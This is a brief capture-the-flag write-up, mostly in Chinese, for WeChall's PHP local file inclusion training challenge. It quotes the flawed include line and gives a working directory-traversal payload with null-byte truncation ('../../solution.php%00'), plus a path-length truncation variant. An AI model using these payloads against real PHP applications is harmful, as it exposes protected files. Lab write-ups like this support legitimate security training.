WeChall - Training - PHP LFI
Challenge
PHP Local File Inclusion。源码中的漏洞:
1 | $filename = 'pages/'.(isset($_GET["file"])?$_GET["file"]:"welcome").'.html'; |
用户输入被拼到 pages/ 后面,末尾固定加
.html。目标是包含挑战目录中的
solution.php。
Solution
经典路线是 directory traversal + null byte truncation。PHP 5.3.4 之前,字符串里的 null byte 会截断底层文件路径。
Payload:
1 | /challenge/training/php/lfi/up/index.php?file=../../solution.php%00 |
路径拼接过程:
1 | pages/../../solution.php%00.html |
底层打开文件时在 %00 处截断,实际路径等价于:
1 | pages/../../solution.php |
../../ 从 up/pages/ 回到 LFI challenge
根目录,从而包含 solution.php。
如果 null byte 被过滤,旧 PHP 还可尝试 4096 字符路径截断:
1 | ?file=../../solution.php/././././...[padding to 4096]... |
Safety Note
访问 solution.php 可能直接触发 WeChall
解题或改变账号状态。当前草稿记录的是已知 payload;执行 live
请求前需要确认,并在执行后用 /en/challs 的
wc_chall_solved_1 验证。
session-bound: exploit URL triggers solve, no fixed answer